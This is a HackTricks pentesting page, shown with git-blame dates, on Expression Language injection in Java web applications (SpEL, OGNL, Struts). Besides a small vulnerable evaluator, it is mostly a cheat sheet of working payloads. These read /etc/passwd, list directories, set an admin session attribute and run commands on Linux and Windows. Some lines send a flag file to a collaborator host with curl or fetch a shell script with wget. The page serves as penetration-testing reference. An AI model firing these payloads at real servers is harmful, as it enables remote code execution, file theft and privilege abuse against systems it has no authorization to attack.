hacktricks/pentesting-web/ssti-server-side-template-i.../el-expression-language.md

283 lines
15 KiB
Markdown
Raw Permalink Normal View History

2022-05-18 15:29:23 +02:00
# EL - Expression Language
2022-04-28 18:01:33 +02:00
<details>
2023-04-25 20:35:28 +02:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 18:01:33 +02:00
2022-12-22 11:23:27 +01:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2023-04-25 20:35:28 +02:00
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-12-22 11:23:27 +01:00
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 18:01:33 +02:00
</details>
2022-05-18 15:29:23 +02:00
## Basic Information
2022-04-28 18:01:33 +02:00
2022-05-18 15:29:23 +02:00
EL provides an important mechanism for enabling the presentation layer (web pages) to communicate with the application logic (managed beans).
2021-06-26 15:01:09 +02:00
2022-05-18 15:29:23 +02:00
### Where is it used ?
2021-06-26 15:01:09 +02:00
2022-05-18 15:29:23 +02:00
1. **Spring Framework**: Security, Data, …
2021-06-26 15:01:09 +02:00
2. **Any place developers use it by SpEL API**
3. For languages it can be used in Java, Kotlin, Scala, and other JVM based technologies.
The EL is used by **several JavaEE technologies**, such as JavaServer Faces technology, JavaServer Pages (JSP) technology, and Contexts and Dependency Injection for Java EE (CDI). The EL can also be used in stand-alone environments.
2021-06-07 11:30:58 +02:00
2021-11-30 17:46:07 +01:00
Java applications are **easily recognizable** as they tend to use extensions as **.jsp** or **.jsf**, throw **stack errors** and use **term like "Serverlet" in the headers**.
2021-06-07 11:30:58 +02:00
{% hint style="info" %}
2021-06-26 15:01:09 +02:00
Depending on the **EL version** some **features** might be **On** or **Off** and usually some **characters** may be **disallowed**.
2021-06-07 11:30:58 +02:00
{% endhint %}
2022-05-18 15:29:23 +02:00
## Basic Example
2021-06-07 11:30:58 +02:00
(You can find another interesting tutorial about EL in [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
2021-06-07 11:30:58 +02:00
Download from the [**Maven**](https://mvnrepository.com) repository the jar files:
2021-06-07 11:30:58 +02:00
2022-04-06 00:24:52 +02:00
* `commons-lang3-3.9.jar`
2021-06-07 11:30:58 +02:00
* `spring-core-5.2.1.RELEASE.jar`
2022-04-06 00:24:52 +02:00
* `commons-logging-1.2.jar`
2021-06-07 11:30:58 +02:00
* `spring-expression-5.2.1.RELEASE.jar`
And create a the following `Main.java` file:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class Main {
public static ExpressionParser PARSER;
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
```
Next compile the code (if you don't have `javac` installed, install `sudo apt install default-jdk`):
2021-06-07 11:30:58 +02:00
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
Execute the application with:
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```
Note how in the previous example the term `{5*5}` was **evaluated**.
2022-05-18 15:29:23 +02:00
## **CVE Example**
2021-06-26 15:01:09 +02:00
From you have already see I bet you know what is coming. If developers are using SpEL with user input, we need to create payload with injection. Lets check one that allow remote code execution (RCE). It was created as part of exploit for [CVE-20178046](https://github.com/m3ssap0/SpringBreakVulnerableApp).
2021-06-26 15:01:09 +02:00
![Image for post](https://miro.medium.com/max/1933/1\*qyl6ZLeJOyXmxmdqMcT8tg.png)
2021-06-26 15:01:09 +02:00
It consist of 3 parts:
* black color — copy result of command execution directly to output stream of HTTP request
* red color — get Java Runtime and execute command in system
* blue color — String containing command: `cmd /c dir`. To make it more robust individual characters of command are decoded from numbers.
Result of executing it:
![Image for post](https://miro.medium.com/max/982/1\*APSYwU3qbw0rNJAd2xhdNA.png)
2021-06-26 15:01:09 +02:00
2022-05-18 15:29:23 +02:00
## Payloads
2021-06-26 15:01:09 +02:00
2022-05-18 15:29:23 +02:00
### Basic actions
2021-06-07 11:30:58 +02:00
```bash
#Basic string operations examples
{"a".toString()}
[a]
{"dfd".replace("d","x")}
[xfx]
#Access to the String class
{"".getClass()}
[class java.lang.String]
2021-10-21 12:28:49 +02:00
#Access ro the String class bypassing "getClass"
#{""["class"]}
2021-06-07 11:30:58 +02:00
#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]
#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```
2022-05-18 15:29:23 +02:00
### Detection
2021-06-07 11:30:58 +02:00
* Burp detection
```bash
gk6q${“zkz”.toString().replace(“k”, “x”)}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```
* J2EE detection
```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the “INJPARAM” parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
* Sleep 10 secs
```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
2022-05-18 15:29:23 +02:00
### Remote File Inclusion
2021-06-07 11:30:58 +02:00
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
2022-05-18 15:29:23 +02:00
### Directory Listing
2021-06-07 11:30:58 +02:00
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
2022-05-18 15:29:23 +02:00
### RCE
2021-06-07 11:30:58 +02:00
2021-06-25 14:34:30 +02:00
* Basic RCE **explanation**
2021-06-07 11:30:58 +02:00
```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]
2021-10-21 12:28:49 +02:00
#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
2022-05-18 15:29:23 +02:00
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
2021-06-07 11:30:58 +02:00
```
2021-06-25 14:34:30 +02:00
* RCE **linux**
2021-06-07 11:30:58 +02:00
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
* RCE **Windows** (not tested)
2021-06-07 11:30:58 +02:00
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
2021-06-25 14:34:30 +02:00
* **More RCE**
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
2021-06-26 16:55:22 +02:00
// Method using Runtime via getDeclaredConstructors
2021-06-25 14:34:30 +02:00
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using ScriptEngineManager
2021-06-26 15:01:09 +02:00
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
2021-06-25 14:34:30 +02:00
```
2022-05-18 15:29:23 +02:00
### Inspecting the environment
2021-06-07 11:30:58 +02:00
* `applicationScope` - global application variables
* `requestScope` - request variables
* `initParam` - application initialization variables
* `sessionScope` - session variables
* `param.X` - param value where X is the name of a http parameter
You will need to cast this variables to String like:
```bash
${sessionScope.toString()}
```
2022-05-18 15:29:23 +02:00
#### Authorization bypass example
2021-06-07 11:30:58 +02:00
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
The application can also use custom variables like:
```bash
${user}
${password}
${employee.FirstName}
```
2022-12-22 11:23:27 +01:00
## WAF Bypass
Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
2022-05-18 15:29:23 +02:00
## References
2021-06-07 11:30:58 +02:00
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
2021-06-26 16:55:22 +02:00
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
2021-06-26 15:01:09 +02:00
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
2022-04-28 18:01:33 +02:00
<details>
2023-04-25 20:35:28 +02:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 18:01:33 +02:00
2022-12-22 11:23:27 +01:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2023-04-25 20:35:28 +02:00
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-12-22 11:23:27 +01:00
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 18:01:33 +02:00
</details>